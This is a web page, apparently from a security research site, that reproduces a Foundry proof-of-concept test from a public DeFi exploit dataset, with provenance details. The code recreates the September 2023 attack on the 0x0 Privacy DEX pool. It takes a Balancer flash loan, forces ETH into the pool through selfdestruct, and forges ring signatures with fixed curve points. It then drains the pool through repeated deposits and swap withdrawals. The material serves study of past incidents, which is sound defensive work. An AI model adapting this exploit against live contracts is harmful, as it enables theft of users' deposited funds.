Skip to content
THREATWIRE

Public reproduction file

src/test/2023-09/0x0DEX_exp.sol

Public reproduction file for dataset entry 0x0DEX.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-09/0x0DEX_exp.sol268 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$61K
8// Attacker : https://etherscan.io/address/0xcf28e9b8aa557616bc24cc9557ffa7fa2c013d53
9// Attacker Contract : https://etherscan.io/address/0xc44ea7650b27f83a6b310a8fed9e9daf2864a65b
10// Vulnerable Contract : https://etherscan.io/address/0x29d2bcf0d70f95ce16697e645e2b76d218d66109
11// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x00b375f8e90fc54c1345b33c686977ebec26877e2c8cac165429927a6c9bdbec
13// @Analysis
14// https://0x0ai.notion.site/0x0ai/0x0-Privacy-DEX-Exploit-25373263928b4f18b31c438b2a040e33
16// Most of the code here is taken from original exploit contract which has been verified on Etherscan:
17// https://etherscan.io/address/0xc44ea7650b27f83a6b310a8fed9e9daf2864a65b#code
18// Some changes were made to make the poc work
20library Types {
21 enum WithdrawalType {
22 Direct,
23 Swap
24 }
27struct WithdrawalData {
28 /// The amount to withdraw`
29 uint256 amount;
30 /// The index of the ring
31 uint256 ringIndex;
32 /// Signed message parameters
33 uint256 c0;
34 uint256[2] keyImage;
35 uint256[] s;
36 Types.WithdrawalType wType;
39interface IOxODexPool {
40 function deposit(uint256 _amount, uint256[4] memory _publicKey) external payable;
42 function withdraw(
43 address payable recipient,
44 WithdrawalData memory withdrawalData,
45 uint256 relayerGasCharge
46 ) external;
48 function swapOnWithdrawal(
49 address tokenOut,
50 address payable recipient,
51 uint256 relayerGasCharge,
52 uint256 amountOut,
53 uint256 deadline,
54 WithdrawalData memory withdrawalData
55 ) external;
57 function getCurrentRingIndex(
58 uint256 amountToken
59 ) external view returns (uint256);
61 function getRingHash(uint256 _amountToken, uint256 _ringIndex) external view returns (bytes32);
64contract ContractTest is Test {
65 IOxODexPool private constant OxODexPool = IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616);
66 WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
67 IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
68 IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
69 Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
71 // begin sync with library Sig1.
72 uint256 private constant Bx =
73 1_368_015_179_489_954_701_390_400_359_078_579_693_043_519_447_331_113_978_918_064_868_415_326_638_035;
74 uint256 private constant By =
75 9_918_110_051_302_171_585_080_402_603_319_702_774_565_515_993_150_576_347_155_970_296_011_118_125_764;
76 uint256 private constant Hx =
77 2_286_484_483_920_925_456_308_759_965_850_684_826_720_807_236_777_393_886_284_879_343_816_677_643_124;
78 uint256 private constant Hy =
79 1_804_024_400_776_434_902_361_310_543_986_557_260_474_938_171_670_710_692_674_407_862_657_333_646_188;
80 // https://github.com/kendricktan/heiswap-dapp/blob/master/contracts/AltBn128.sol#L13
81 uint256 private constant curveN = 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001;
83 function setUp() public {
84 vm.createSelectFork("mainnet", 18_115_707);
85 vm.label(address(OxODexPool), "OxODexPool");
86 vm.label(address(WETH), "WETH");
87 vm.label(address(USDC), "USDC");
88 vm.label(address(BalancerVault), "BalancerVault");
89 vm.label(address(Router), "Router");
90 }
92 function testExploit() public {
93 deal(address(this), 0 ether);
94 uint256 loan = 11 ether;
96 address[] memory tokens = new address[](1);
97 tokens[0] = address(WETH);
98 uint256[] memory amounts = new uint256[](1);
99 amounts[0] = loan;
101 BalancerVault.flashLoan(address(this), tokens, amounts, "");
102 emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 18);
103 }
105 function receiveFlashLoan(
106 address[] memory,
107 uint256[] memory amounts,
108 uint256[] memory fees,
109 bytes memory
110 ) external payable {
111 // convert back to ETH
112 WETH.withdraw(amounts[0]);
113 exploit();
115 USDC.approve(address(Router), type(uint256).max);
116 address[] memory path = new address[](2);
117 path[0] = address(USDC);
118 path[1] = address(WETH);
119 Router.swapExactTokensForETH(USDC.balanceOf(address(this)), 0, path, address(this), block.timestamp);
120 WETH.deposit{value: amounts[0] + fees[0]}();
121 WETH.transfer(address(BalancerVault), amounts[0] + fees[0]);
122 }
124 function exploit() internal {
125 // send ETH so pool balance is a multiple of 10
126 uint256 poolETHBalance = address(OxODexPool).balance;
127 poolETHBalance = 10 ether - (poolETHBalance - (poolETHBalance / 10 ether) * 10 ether);
128 new ForceSend{value: poolETHBalance}();
130 WithdrawalData memory w;
131 // alter lastAmount (_lastWithdrawal) to 10
132 uint256 ringIndex = deposit(10 ether);
133 w = withdrawData(address(this), 10 ether, ringIndex);
134 w.wType = Types.WithdrawalType.Swap;
135 OxODexPool.swapOnWithdrawal(address(USDC), payable(address(this)), 0, 0, block.timestamp, w);
137 while (address(OxODexPool).balance >= 10 ether) {
138 ringIndex = deposit(0.1 ether);
139 w = withdrawData(address(this), 0.1 ether, ringIndex);
140 // Withdrawal type Direct (0)
141 OxODexPool.swapOnWithdrawal(address(USDC), payable(address(this)), 0, 0, block.timestamp, w);
142 }
143 }
145 function addFee(
146 uint256 realAmount
147 ) internal pure returns (uint256 total) {
148 total = realAmount + (realAmount * 9) / 1000;
149 }
151 function deposit(
152 uint256 amount
153 ) internal returns (uint256 ringIndex) {
154 // Public key signature
155 uint256[4] memory pks = [0x1, 0x2, Bx, By];
156 ringIndex = OxODexPool.getCurrentRingIndex(amount);
157 OxODexPool.deposit{value: addFee(amount)}(amount, pks);
158 }
160 function withdrawData(
161 address recv, // receiver
162 uint256 amount,
163 uint256 ringIndex
164 ) internal view returns (WithdrawalData memory w) {
165 bytes32 ringHash = OxODexPool.getRingHash(amount, ringIndex);
166 uint256[2] memory c;
167 uint256[2] memory s;
168 (c, s) = generateSignature(ringHash, recv);
170 w.amount = amount;
171 w.ringIndex = ringIndex;
172 w.c0 = c[0];
173 w.keyImage = [Hx, Hy];
174 w.s = new uint256[](2);
175 w.s[0] = s[0];
176 w.s[1] = s[1];
177 //w.wType = Types.WithdrawalType.Direct;
178 }
180 // message := abi.encodePacked(ringHash, recAddr)
181 function generateSignature(
182 bytes32 ringHash,
183 address recv
184 ) public view returns (uint256[2] memory c, uint256[2] memory s) {
185 uint256[2] memory G;
186 uint256[2] memory H;
187 uint256[2] memory B;
188 G[0] = 0x1;
189 G[1] = 0x2;
190 H[0] = Hx;
191 H[1] = Hy;
192 B[0] = Bx;
193 B[1] = By;
195 // c_1 = H1(L, y~, m, G, H)
196 c[1] = createHash(ringHash, recv, G, H);
197 // pick s1 := 1
198 s[1] = 1;
199 c[0] = createHash(ringHash, recv, ecAdd(G, ecMul(B, c[1])), ecMul(H, c[1] + 1));
200 // s0 := u - p_0 * c_0 (mod N)
201 // this is NOT likely to overflow
202 s[0] = curveN + 1 - c[0];
203 }
205 // Function for making a call to bn256Add (address 0x06) precompile
206 // More about precompiles - https://medium.com/@rbkhmrcr/precompiles-solidity-e5d29bd428c4
207 function ecAdd(uint256[2] memory p, uint256[2] memory q) internal view returns (uint256[2] memory r) {
208 assembly {
209 // Free memory pointer
210 let fp := mload(0x40)
211 mstore(fp, mload(p))
212 mstore(add(fp, 0x20), mload(add(p, 0x20)))
213 mstore(add(fp, 0x40), mload(q))
214 mstore(add(fp, 0x60), mload(add(q, 0x20)))
215 pop(staticcall(gas(), 0x06, fp, 0x80, r, 0x40))
216 }
217 }
219 // Function for making a call to bn256ScalarMul (address 0x07) precompile
220 function ecMul(uint256[2] memory p, uint256 k) internal view returns (uint256[2] memory kP) {
221 assembly {
222 let fp := mload(0x40)
223 mstore(fp, mload(p))
224 mstore(add(fp, 0x20), mload(add(p, 0x20)))
225 mstore(add(fp, 0x40), k)
226 pop(staticcall(gas(), 0x07, fp, 0x60, kP, 0x40))
227 }
228 }
230 function createHash(
231 bytes32 ringHash,
232 address recv,
233 uint256[2] memory p1,
234 uint256[2] memory p2
235 ) internal pure returns (uint256 hash) {
236 // Hash(L, y~, m, p1, p2)
237 assembly {
238 let fp := mload(0x40)
239 mstore(fp, 0x1)
240 mstore(add(fp, 0x20), 0x2)
241 mstore(add(fp, 0x40), Bx)
242 mstore(add(fp, 0x60), By)
243 mstore(add(fp, 0x80), Hx)
244 mstore(add(fp, 0xa0), Hy)
246 mstore(add(fp, 0xd4), recv)
247 mstore(add(fp, 0xc0), ringHash)
249 // tail at 0xf4 (0xe0 + 20)
250 mstore(add(fp, 0xf4), mload(p1))
251 mstore(add(fp, 0x114), mload(add(p1, 0x20)))
252 mstore(add(fp, 0x134), mload(p2))
253 mstore(add(fp, 0x154), mload(add(p2, 0x20)))
255 hash := mod(keccak256(fp, 0x174), curveN)
256 }
257 }
259 receive() external payable {}
262contract ForceSend {
263 IOxODexPool private constant OxODexPool = IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616);
265 constructor() payable {
266 selfdestruct(payable(address(OxODexPool)));
267 }

Analysis

Dataset entry

Public Foundry test for “0x0DEX” (2023-09-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xcf28e9b8aa557616bc24cc9557ffa7fa2c013d53

  • Attacker

    0xc44ea7650b27f83a6b310a8fed9e9daf2864a65b

  • Vulnerable Contract

    0x29d2bcf0d70f95ce16697e645e2b76d218d66109

  • Attack Tx

    0x00b375f8e90fc54c1345b33c686977ebec26877e2c8cac165429927a6c9bdbec

File record

Name
0x0DEX
Path
src/test/2023-09/0x0DEX_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
02dd0914e98fee83ed51e80bf0552108e733e650
Language
Solidity
Size
269 lines
Date
2023-09-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-09/0x0DEX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 02dd0914e98fee83ed51e80bf0552108e733e650, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.